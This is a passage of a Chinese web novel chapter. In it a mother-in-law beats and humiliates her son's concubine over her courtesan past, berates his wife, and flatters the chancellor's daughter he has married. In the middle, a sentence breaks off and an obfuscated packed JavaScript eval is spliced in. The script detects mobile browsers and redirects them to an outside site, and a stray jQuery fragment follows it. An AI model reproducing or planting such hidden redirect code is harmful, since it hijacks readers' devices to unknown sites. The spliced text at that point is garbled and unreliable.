丁香脸上的笑意瞬间淡了下去,攥着帕子的手微微发颤,心里又酸又涩。她知道,小红是故意拦着她,高清辞或许也不想见她。她勉强点了点头,轻声道:“好,那我改日再来,麻烦你替我跟高小姐说声抱歉,打扰她休息了。” 说完,她转身慢慢往回走,背影单薄,没了来时的兴冲冲——原来,就算她想好好相处,也还是会被人嫌弃出身,连靠近的机会都没有。 丁香失魂落魄地走回自己院子,刚坐在桌边,眼泪就忍不住掉了下来——手里的兰草帕子还带着针脚的温度,可连递出去的机会都没有。她本以为肖晨说了要好好相处,事情能有转机,却忘了自己的出身,在别人眼里始终是个“脏货”。 另一边,肖母院里的丫鬟远远瞧见丁香从高清辞院门口离开,立刻跑回去禀报。肖母正坐在榻上喝茶,听了这话,手里的茶盏“哐当”一声放在桌上,脸色瞬间沉了下来:“这个贱蹄子!真是给脸不要脸,我的话她竟敢当耳旁风!” 她猛地起身,带着两个身强力壮的婆子,怒气冲冲往丁香院子去。刚推开门,就见丁香正捂着脸掉眼泪,桌上还放着块绣了一半的帕子。肖母见状,更是气不打一处来,上前抬手就给了丁香一耳光。 “啪”的一声脆响,丁香被打得偏过头,脸颊瞬间红了一片,嘴角也渗出了血丝。她捂着脸抬头,眼里满是委屈和惊恐。 肖母指着她的鼻子,声音尖刻得像刀子:“贱蹄子!我之前是怎么吩咐你的?让你躲着高小姐,别去招惹她,你把我的话当耳旁风是不是?” 丁香忍着疼,眼泪掉得更凶,声音带着哭腔:“母亲,我没有招惹她……我只是想跟高小姐好好相处,送她一块我绣的帕子……” “好好相处?”肖母冷笑一声,眼神里满是鄙夷,“你也不撒泡尿照照自己是什么东西!人家是金尊玉贵的相府千金,你呢?是从花船里爬出来的脏货!你也配跟她好好相处?也配进她的院子?别到时候给人家带来晦气,连累了晨儿!” 她越说越气,又要抬手打下去,旁边的婆子连忙拉住她:“老夫人,消消气,要是打坏了人,少爷回来该担心了。” 肖母甩开婆子的手,狠狠瞪了丁香一眼:“我告诉你,往后再敢靠近高小姐半步,我就把你卖到最偏远的庄子上,让你一辈子都见不到晨儿!你自己掂量着办!” 说完,她没再看丁香一眼,带着婆子摔门而去。房间里瞬间安静下来,只剩下丁香压抑的哭声。她捂着火辣辣的脸颊,看着桌上的帕子,心里又冷又疼——她在这肖府,终究是个外人,连想要好好相处的资格都没有。 肖晨刚在前厅处理完公务,就见玉溪急匆匆跑过来,神色慌张:“公子!不好了,刚才老夫人带着婆子去了丁香姑娘的院子,看着气冲冲的,您快过去看看吧!” 肖晨心里一紧,手里的公文都顾不上放下,拔腿就往丁香的院子跑。刚推开门,就见丁香坐在床边,双手捂着脸,肩膀微微颤抖,嘴角还挂着一丝血迹。 “丁香!”肖晨快步上前,一把拉开她的手,看到她红肿的脸颊和渗血的嘴角,心瞬间揪了起来。他小心翼翼地抚摸着她的脸,声音带着心疼和怒火:“娘打你了?她怎么能对你动手!我现在就去找她理论!” 说着,他就要起身,却被丁香死死拉住衣角。丁香摇着头,眼泪像断了线的珠子往下掉,声音带着哭腔:“公子,我没事,你别去找母亲……要是你们闹僵了,我心里更难受。” “怎么能没事!”肖晨蹲下身,看着她通红的眼睛,语气又急又疼,“她把你打成这样,我怎么能看着你受欺负不吭声?今天必须跟她问清楚,凭什么动手打人!” 丁香连忙扑进他怀里,双臂紧紧搂着他的腰,声音带着哀求:“公子,求你了,千万别去……我有你在身边就够了,别的都不重要。要是你去找母亲,她肯定会更生气,说不定还会迁怒于你,我不想因为我,让你们母子失和。” 肖晨抱着她颤抖的身体,心里又疼又气,却被她的哀求堵得说不出话。他轻轻拍着她的背,语气软了下来:“好,我不去找她,但你得告诉我,到底是怎么回事?娘为什么突然打你?” 丁香埋在他怀里,肩膀抖得更厉害,却只是摇了摇头,声音闷闷的:“公子,别再问了……都过去了,我不想再提了。”她怕自己一说,肖晨会更生气,更怕肖母知道后,会对她更刻薄。 肖晨见她不愿说,也不再追问,只是紧紧抱着她,心里暗自发誓——以后一定要护好丁香,绝不能再让她受这样的委屈。他轻轻吻了吻她的额头,声音温柔又坚定:“对不起,是我没保护好你。以后我会多留意,不会再让娘伤害你了。” 丁香在他怀里点了点头,感受着他温暖的怀抱,心里的委屈才稍稍缓解了些——就算受了再多苦,只要有肖晨在,她就觉得,一切都还能撑下去。 82.我可得好好敲打她们 肖晨轻轻帮丁香擦去眼泪,又让玉溪赶紧去取冰块和干净的帕子,叮嘱道:“用帕子包好冰块,给丁香姑娘敷脸,别让她再碰凉水,好好照顾她休息。”玉溪连忙应下,转身去准备。 安顿好丁香,肖晨才起身出门,脸色沉得厉害——他清楚母亲的脾气,但绝不会无缘无故动手,定是有什么事触怒了她。他拦住路过的丫鬟,语气严肃:“今天上午,丁香姑娘都去过哪里?见过什么人?” 丫鬟被他的神色吓到,连忙如实回答:“回少爷,丁香姑娘早上吃过饭,就去了高小姐的院子,没待多久就回来了,之后老夫人就带着婆子过去了……” 肖晨心里一凛,果然和高清辞有关。他不再多问,径直往高清辞的院子走。刚进院门,就见高清辞正坐在廊下晒太阳,手里拿着一本书。见他来,她连忙起身,语气平和:“大人找我,是有什么事吗?” 肖晨走到她面前,目光落在她脸上,开门见山:“今天上午,丁香是不是来过你这里?” 高清辞点点头,心里隐约有了不好的预感:“来过,只是……出什么事了吗?” “她被娘打了,嘴角都破了。”肖晨的声音带着几分压抑的怒气,“我想知道,她来找你做什么?为什么她从你这里回去后,娘就动了手?” 高清辞心里一紧,想起早上小红拦着丁香的事,轻声道:“我不清楚她具体找我做什么。她来的时候,小红说我身子乏,替我推辞了,我并没有见她,也没跟她说过话。” 肖晨皱起眉头,有些不解:“你没见她?那娘为什么会因为这事打她?” “或许……是老夫人知道她来我这里,心里不满吧。”高清辞垂下眼,声音轻了些,“前几日老夫人就叮嘱过,让我少跟丁香姑娘来往,还说她出身不好,怕污了我的身份。或许是老夫人觉得,丁香不该来打扰我,才动了气。” 肖晨这才明白过来——母亲是把对丁香出身的厌恶,和对高清辞的“维护”拧在了一起,才会对丁香动手。他心里又气又无奈,沉默片刻,对高清辞道:“抱歉,因为府里的事,让你也受牵连了。往后要是丁香再来找你,你要是愿意见,就见;要是不愿意见,也不用勉强,不用看任何人的脸色。” 高清辞抬起头,看着他认真的模样,轻轻点头:“我知道了。丁香姑娘……她没事吧?要是方便,我让厨房炖些燕窝,给她补补身子?” 肖晨没想到她会这么说,心里泛起一丝暖意:“不用了,我已经让人照顾她了。你有心就好。”说完,他没再多留,转身往丁香的院子走去——他得回去陪着丁香,也得好好想想,往后该怎么护住身边的人,不让她们再受这样的委屈。 肖晨的身影刚消失在院门外,小红就快步走到高清辞身边,语气带着几分不平:“小姐,您就这么让他走了?他心里明明只有那个丁香,不过是个出身卑贱的妓女,居然还好意思来质问您!” 高清辞重新坐回廊下的椅子上,拿起桌上的书,却没心思翻开,轻声道:“他是丁香的夫君,担心她也是应该的。毕竟,丁香也是他明媒正娶进来的妾,他护着她,合情合理。” “可您也是明媒正娶啊!”小红急得提高了声音,又连忙压低,“小姐,您不能再这么等下去了!您和姑爷成亲都这么多天了,连圆房都没有,这要是让丞相大人知道了,他得多心疼您,又得多生气啊!” 她见高清辞沉默不语,又上前一步,语气带着恳求:“现在还好,日子短,还能瞒着。可时间一长,总有露馅的时候!府里的下人多嘴杂,要是传出去,不仅您没面子,连高家的脸面都要受损。到时候姑爷就算想瞒,也没法跟丞相大人交差啊!” 高清辞的指尖轻轻摩挲着书页,心里泛起一阵酸涩。她何尝不知道这些道理?可圆房这种事,从来不是她一个人能决定的。肖晨心里没有她,就算她想办法留住他,也不过是自欺欺人。 “我知道你的意思。”她轻轻叹了口气,声音带着几分无奈,“可感情的事,勉强不来。他心里装着别人,就算我强留他,又有什么用呢?倒不如顺其自然,至少还能保个体面。” “小姐!”小红还想再说,却被高清辞抬手打断。 “别说了。”高清辞看着远处的庭院,眼神里满是落寞,“我心里有数。往后这事,你也别再提了,免得让别人听见,又生出是非来。” 小红看着她孤单的模样,心里又急又疼,却也知道劝不动她,只能跺了跺脚,不再说话。廊下的风轻轻吹过,带着几分凉意,高清辞手里的书始终没有翻开,心里满是迷茫——她不知道,这场没有感情的婚姻,还要这样熬多久。 李傲雪提着一盅刚炖好的银耳羹,匆匆赶到丁香房里时,正见丁香靠在床头,脸上还带着淡淡的红肿。她快步上前,将食盅放在桌上,伸手轻轻碰了碰丁香的脸颊,语气满是心疼:“娘真的打你了?疼不疼?” 丁香摇摇头,眼底还带着未干的泪痕,却强装着不在意:“没事,是我自己不好,不该去打扰高小姐,惹娘生气了。我们做儿媳的,本就该多忍让些,哪能怪娘呢。” 李傲雪叹了口气,坐在床边握住她的手:“你别替她说话了,娘就是这个脾气,总爱凭着自己的心意待人,从来不顾及别人的感受。我当初刚进府的时候,也因为没顺着她的意思,被她罚跪祠堂,还挨过打,差点没挺过来。” 丁香抬头看着她,眼里满是惊讶——她一直以为,李傲雪出身官宦世家,又有一品诰命在身,在府里定是顺风顺水,没想到也受过这样的委屈。 “少夫人跟我不一样。”丁香低下头,声音带着几分自嘲,“您是官宦千金,就算受了委屈,也有身份撑着,娘就算再生气,也不敢真的对您怎么样。可我不一样,我是从花船里出来的妓女,走到哪里都会被人嫌弃,娘打我、骂我,就算传出去,也没人会替我说话。” 李傲雪心里一酸,紧紧攥住她的手:“别这么说,出身不是你的错。在我心里,你跟我一样,都是真心待公子的人,没有高低贵贱之分。往后要是娘再欺负你,你别一个人忍着,告诉我,咱们一起想办法,总不能让你一直受委屈。” 丁香看着李傲雪真诚的眼神,眼泪又忍不住掉了下来,轻轻点了点头:“谢谢你,少夫人……有你这句话,我就觉得,在这府里,也不是那么孤单了。” 李傲雪帮她擦去眼泪,又打开食盅,舀了一勺银耳羹递到她嘴边:“快尝尝,我特意让厨房放了些冰糖,补补身子。等少爷回来,让他多陪陪你,别再想那些不开心的事了。” 丁香张嘴接过,清甜的银耳羹滑进喉咙,心里也跟着暖了些——原来在这冰冷的肖府里,除了肖晨,还有人愿意真心待她。 正说着,门外传来脚步声,小红提着食盒走进来,里面装着刚炖好的燕窝。她将食盒放在桌上,对丁香和李傲雪道:“这是我们小姐让厨房炖的燕窝,说给丁香姑娘补补身子,也谢谢少夫人平日里照看。” 丁香连忙道谢:“替我们谢谢高小姐,费心了。”李傲雪也跟着点头,眼里带着几分暖意。 可小红话锋一转,目光落在李傲雪身上,语气带着几分生硬:“少夫人,恕我多嘴,您是府里的正室夫人,身份尊贵,怎么能总来这妾室的院子里走动?传出去,怕是有失您的体面。” 李傲雪皱了皱眉,语气平静:“丁香性子软,在府里没什么依靠,我来看看她怎么了?在我心里,她就跟我妹妹一样,从来没有什么正室妾室的分别,更不会觉得有失身份。” “妹妹?”小红嗤笑一声,眼神里满是鄙夷,“少夫人您可别折煞她了!她是什么出身,您还不清楚吗?一个从花船里出来的妓女,也配跟您称姐妹?” 这话一出,丁香的脸色瞬间变得惨白,紧紧攥着衣角,头垂得更低了。李傲雪的脸色也沉了下来,语气带着几分冷意:“小红,说话注意分寸!丁香是公子明媒正娶进来的,也是肖府的人,轮不到你在这里说三道四!” “我这是为了少夫人,也是为了我们小姐好!”小红丝毫不让,“我们小姐是相府千金,金尊玉贵的,要是让别人知道,少夫人总跟这样的人来往,连带着我们小姐也会被人笑话!往后啊,少夫人您还是别再来了,也让丁香姑娘别去打扰我们小姐,免得污了我们小姐的地方!” 李傲雪气得手都有些发颤,却不想在丁香面前跟她争执,免得让丁香更难堪。她深吸一口气,对小红道:“我的事,不用你管。至于高小姐那边,我会跟她亲自说,不劳你费心。” 小红见她不听劝,也不再多言,丢下一句“少夫人您自己掂量着办”,便提着空食盒转身走了。房间里瞬间安静下来,李傲雪看着丁香通红的眼睛,心里满是愧疚:“别听她的,她就是被老夫人和高小姐惯坏了,说话没轻没重。” 丁香摇了摇头,声音带着哭腔:“没事,她说的也是实话……我本来就配不上您,也配不上跟高小姐来往。” 李傲雪连忙握住她的手,语气坚定:“不许这么说!在这府里,有我和公子护着你,谁也不能欺负你!往后她再敢这么说,你别忍着,直接告诉我!” 小红离开丁香的院子,没回高清辞那里,反倒绕路去了肖母的房里。一进门,她就添油加醋地把刚才的话复述了一遍,着重强调李傲雪“护着妓女”、“不听劝”,还说李傲雪“不把高小姐的体面放在眼里”。 肖母本就因为打了丁香的事心里憋着气,听小红这么一说,顿时火冒三丈,拍着桌子骂道:“这个李傲雪!真是越来越不像话了!忘了自己的身份,还敢护着那个贱蹄子!”她当即吩咐婆子:“去,把李傲雪给我叫来!” 不多时,李傲雪就来了。刚进门,就见肖母脸色铁青地坐在榻上,眼神锐利得像刀子。没等她开口行礼,肖母就厉声喝道:“给我跪下!” 李傲雪心里一沉,依言跪下,语气恭敬:“娘,儿媳不知犯了什么错,惹您这么生气?” “你还敢问我!”肖母指着她,声音里满是怒火,“我不是早就跟你说过,高小姐是相府千金,在府里要格外重视,不能让她受半点委屈!你倒好,不仅不跟她好好相处,还去护着那个出身卑贱的妓女!你是不是想害死晨儿,想让我们肖家跟着遭殃?” 李傲雪连忙抬头,语气急切:“娘,我没有想害少爷!我只是觉得,丁香她没做错什么,小红说话太刻薄,我才帮着说了两句,也想让高小姐那边不要因为这点小事为难,免得伤了府里的和气……” “和气?”肖母冷笑一声,打断她的话,“高小姐想怎么样就怎么样!她要是不高兴,回头在丞相面前说句闲话,晨儿在吏部的差事就完了,我们肖家也得跟着倒霉!你跟我谈和气?你配吗!” 李傲雪被骂得哑口无言,只能低下头,轻声道:“我知道了,娘。” 肖母看着她顺从的模样,心里的火气却没消多少,语气愈发严厉:“我告诉你,别以为晨儿宠着你和丁香,你们就可以无法无天,不顾礼仪规矩,想在这个家里翻天!只要我还活着一天,这个家就轮不到你们做主!往后再敢护着那个贱蹄子,再敢对高小姐有半分不恭敬,我饶不了你!” 李傲雪紧紧攥着裙摆,指甲几乎嵌进肉里,却还是强压着委屈,低声道:“娘,我不敢了。往后我会好好跟高小姐相处,再也不会多管闲事了。” 肖母这才满意地点点头,挥了挥手:“行了,起来吧。赶紧回你院子里去,别在这里碍眼!” 李傲雪缓缓起身,对着肖母行了一礼,才转身离开。走出房门,她忍不住抬手擦了擦眼角的湿意——在这个家里,连护着自己在意的人,都成了错。 李傲雪的身影刚消失在门外,肖母脸上的怒气就又沉了几分,她对着空气冷哼一声,指尖紧紧攥着榻上的锦缎垫子,指节都泛了白。 “哼,看她那模样,哪里是真的服了?分明是没把我放在眼里!”肖母越想越气,语气里满是不甘,“当初刚进府的时候,多老实?畏畏缩缩的,动不动就哭,我说什么她听什么。现在好了,有晨儿护着,翅膀硬了,连我都敢顶撞,还敢为那个贱蹄子说话!” 旁边的婆子连忙上前递上一杯热茶,轻声劝道:“老夫人消消气,少夫人也是被少爷宠坏了,一时糊涂罢了,心里还是敬着您的。” “敬我?”肖母接过茶,却没喝,重重放在桌上,“她要是真敬我,就不会护着那个妓女,跟我对着干!还有那个丁香,也不是什么安分的,竟敢去招惹高小姐,真当我不敢动她?” 她眼神变得狠厉起来,手指轻轻敲击着桌面:“看来我要是不给她们一点颜色看看,她们还真以为这个家我说了不算,敢骑到我头上来了!晨儿护着又怎么样?这肖府的主母,还轮不到她们说了算!” 婆子不敢接话,只能低着头。肖母沉默片刻,忽然看向她,语气冷硬:“你去盯着点,看看那个贱蹄子和李傲雪最近都在做什么,跟谁来往。还有高小姐那边,也多留意着,别让她们再闹出什么事来,要是坏了晨儿的前程,我饶不了她们!” 婆子连忙应下:“老夫人放心,奴婢这就去安排人盯着。” 肖母挥了挥手,让婆子退下,自己坐在榻上,脸色阴沉不定——她心里已经有了主意,总得找个机会,好好敲打敲打李傲雪和贱蹄子,让她们知道,在这个家里,谁才是真正能做主的人。 肖母坐在榻上,手指反复摩挲着杯沿,心里的盘算愈发清晰。她想起高清辞是相府千金,肖晨的前程全靠这门亲事撑着,眼神顿时亮了几分——要敲打李傲雪和丁香,或许可以从高清辞身上入手。 不多时,之前去安排盯梢的婆子回来复命,低声道:“老夫人,刚打听着,高小姐下午让小红去街上买些丝线,说是想绣些东西打发时间。” 肖母眼睛一眯,嘴角勾起一抹算计的笑:“买丝线?正好。你去库房里取那匹最上等的云锦,再挑几盒成色最好的金线,送到高小姐院子里去。记住,送的时候要特意说,是我特意给她备的,让她安心用,不用省着。” 婆子有些疑惑:“老夫人,那云锦可是您去丁香那里拿来的,您自己都没舍得用,给高小姐……” “懂什么!”肖母打断她,语气带着几分得意,“这云锦送出去,既显得我重视高小姐,又能让府里的人看看,谁才是我肖家真正该捧着的人。李傲雪和丁香看到了,自然会明白,什么人该惹,什么人不该惹。” 婆子连忙应下:“老夫人英明,奴婢这就去办。” 看着婆子离开的背影,肖母端起茶杯喝了一口,心里的火气消了不少。她知道,这只是第一步——等高清辞收下云锦,府里的下人自然会把消息传到李傲雪和丁香耳朵里,到时候不用她动手,那两人心里也会有数。 果然,没过多久,就有丫鬟来报,说高小姐收下了云锦,还让小红特意来谢过老夫人。肖母听了,脸上露出满意的笑容,对丫鬟道:“知道了,你告诉高小姐,往后缺什么少什么,尽管跟我说,别委屈了自己。” 丫鬟刚退下,盯梢的婆子又回来了,压低声音道:“老夫人,刚才奴婢路过丁香姑娘的院子,听见里面传来叹气声,像是丁香姑娘在哭。李傲雪姑娘也在,正劝着她呢。” 肖母冷笑一声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334535|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哭?现在知道哭了?早知道就不该去招惹高小姐,更不该跟我对着干!”她顿了顿,又道,“你再去盯着,要是她们敢有什么小动作,立刻来告诉我。” 婆子应下后离开,肖母靠在榻上,心里暗暗想着——这一次只是敲打,要是李傲雪和丁香还不知收敛,下次就不会这么轻易放过她们了。她绝不能让这两个女人,毁了肖晨的前程,毁了肖家的名声。 李傲雪坐在床边,轻轻拍着丁香的背,把刚温好的蜂蜜水递到她手里:“别再哭了,眼睛都肿了。府里的人怎么看、娘怎么偏心都不重要,重要的是少爷待我们是真心的,有这份心意,咱们就不算受委屈。” 丁香接过水杯,指尖碰着温热的瓷壁,眼泪却还是忍不住往下掉:“可少夫人,您不一样啊。您是明媒正娶的正室,也是官宦世家的千金,论身份,您一点都不比高小姐低,娘怎么能这么忽略您的感受?刚才小红那么说您,娘还帮着她,这也太不公平了。” 李傲雪拿起帕子,帮她擦去脸颊的泪,嘴角勾起一抹淡淡的笑,语气却带着几分释然:“公平不公平的,我早就不在乎了。当初嫁进肖府,我就没想过要争什么身份体面,只想陪着少爷,把这个家守好。现在有你在,我们三个能好好的,比什么都强。” “可我……”丁香咬着唇,心里满是愧疚,“都是因为我,您才被娘责骂,还被小红那样羞辱。要是我当初没进肖府,您就不会受这些委屈了。” “傻丫头,说什么胡话呢。”李傲雪握住她的手,指尖传来温暖的力道,“咱们能聚在一块,都是缘分。你忘了?当初你刚进府的时候,我还怕府里冷清,没人跟我说话,是你天天陪着我绣活、聊天,我才觉得这院子里有了生气。现在咱们三个,早就分不开了,不是吗?” 丁香看着李傲雪真诚的眼睛,心里的委屈渐渐散了些,轻轻点了点头:“嗯,分不开了。只要能跟您和公子在一块,就算受点委屈,我也认了。” 李傲雪笑着揉了揉她的头发:“这才对嘛。等会儿少爷回来,看到你哭成这样,又该心疼了。快把蜂蜜水喝了,我去让厨房给你煮点你爱吃的莲子羹,补补身子。” 丁香接过水杯,小口喝着,看着李傲雪转身去吩咐丫鬟的背影,心里忽然觉得格外安稳——在这复杂的肖府里,她们或许没有高小姐那样的尊贵身份,没有肖母的偏爱,可她们有彼此,有肖晨的真心,这就够了。 不多时,丫鬟端来莲子羹,丁香刚吃了两口,就听见院门外传来肖晨的脚步声。她连忙擦了擦嘴角,想装作没事的样子,可肖晨一进门,目光就落在她红肿的眼睛上,快步走过来,语气满是心疼:“怎么又哭了?是不是哪里不舒服?” 李傲雪在一旁笑着解围:“没有,就是刚才跟我聊起以前的事,有点感慨罢了。你回来得正好,厨房刚煮了莲子羹,快尝尝。” 肖晨看着两人默契的模样,心里泛起一阵暖意,在床边坐下,握住丁香的手:“别想那些不开心的,往后有我在,谁也不能再欺负你们。” 丁香靠在他肩上,轻声道:“嗯,我知道。只要有公子和少夫人在,我什么都不怕。” 丞相府的花厅里,高夫人正坐在窗边绣着肚兜,针脚细密,全是给未来外孙准备的样式。她放下针线,叹了口气,对坐在一旁看公文的高丞相道:“清辞嫁去肖家也有几天了,我这心里总放不下。现在就盼着她能早点怀个孩子,有了孩子,在肖家也能更稳当些。” 高丞相放下手里的公文,揉了揉眉心,语气带着几分担忧:“我也放心不下。肖家虽也算书香门第,但终究比不得咱们高家,就怕清辞在那边受委屈。” “是啊,”高夫人接过丫鬟递来的茶,抿了一口,“清辞性子软,又不爱争,万一肖家有人欺负她,她怕是也不会说。” 高丞相沉默片刻,忽然抬头对高夫人道:“你明天去备些礼品,亲自去肖府看看女儿。一是给她送些她爱吃的点心和用惯的东西,让她安心;二是也看看肖家的态度,要是他们敢亏待清辞,不管是肖母还是肖晨,我都饶不了他们!” 高夫人眼睛一亮,连忙点头:“好,我明天一早就准备!正好把我刚绣好的几匹小衣也带上,让清辞看看,也让肖家的人知道,咱们高家疼女儿,不是好欺负的。” 高丞相看着她急切的模样,语气软了些:“你去了也别太张扬,免得让清辞难做。要是肖家真有不对的地方,你先记着,回来告诉我,我来处理。” “我知道分寸。”高夫人笑着应下,心里的石头总算落了些,“有你这句话,我就放心了。明天我去了,一定好好跟清辞聊聊,看看她在肖家到底过得怎么样。” 两人又聊了些关于清辞的琐事,高夫人才起身去吩咐下人准备礼品,心里满是期待——既盼着能早点见到女儿,也盼着女儿在肖家能过得安稳,早日传来好消息。 第二天一早,高夫人就带着满满两车礼品往肖府去——车上不仅有高清辞爱吃的江南糕点、用惯的蜀锦布料,还有她亲手绣的婴孩衣物,以及给肖晨和肖母备下的滋补药材,阵仗十足。 肖府上下早就得了消息,肖母带着肖晨、高清辞和李傲雪在门口等候。见高夫人的马车到了,肖母连忙上前,脸上堆着热情的笑:“亲家母大驾光临,快里面请!” 高夫人下了马车,目光第一时间落在高清辞身上,拉着她的手细细打量:“清辞,这几天在这边过得怎么样?有没有受委屈?” 高清辞连忙摇头,语气温顺:“娘放心,肖家人待我很好,没有受委屈。” 肖母在一旁连忙附和:“是啊亲家母,清辞是我们肖家的贵客,我们疼都来不及,怎么会让她受委屈?您快屋里坐,我特意让厨房备了您爱吃的点心。” 一行人往正厅走,高夫人一边走,一边不动声色地观察着肖府的布置,又看了看高清辞的神色——见她面色红润,衣着得体,心里的石头先落了一半。 到了正厅坐下,丫鬟奉上茶,高夫人接过茶盏,目光落在肖晨身上,语气温和却带着几分分量:“肖晨,清辞性子软,往后在府里,还请你多照拂她些。我们高家就这一个女儿,要是她受了半点委屈,我和丞相,都不会轻易罢休的。” 肖晨连忙起身,语气恭敬:“岳母放心,我定会好好待清辞,绝不让她受委屈。” 肖母也在一旁帮腔:“是啊亲家母,晨儿对清辞上心着呢!您看,我昨天还特意把库房里最好的云锦给清辞送过去了,就是怕她在这边用不惯。” 高夫人笑了笑,从随身的锦盒里取出一支成色极好的玉簪,递给高清辞:“这是你爹特意让我给你带来的,说是戴在身上,能保平安。你在这边好好的,我们也就放心了。” 高清辞接过玉簪,眼眶微微泛红:“谢谢娘,也谢谢爹。” 高夫人又跟众人聊了些家常,特意叮嘱高清辞要好好照顾自己,有什么事随时让人回丞相府报信。待了约莫一个时辰,才起身准备离开。 临走前,她又拉着高清辞的手,低声道:“要是肖母或府里其他人给你气受,别忍着,娘给你做主。”高清辞轻轻点头,目送高夫人的马车离开,心里满是暖意——有娘家做靠山,她在肖府,似乎也多了几分底气。 看着高夫人的马车走远,肖母脸上的笑容淡了些,对肖晨道:“看到了吧?高家对清辞多上心,往后你可得更待她好些,别让高家挑出毛病来,坏了你的前程。” 肖晨点点头,目光落在高清辞身上,心里忽然觉得,或许往后,该多花些心思在她身上——不仅是为了高家,也是为了这个家能安稳些。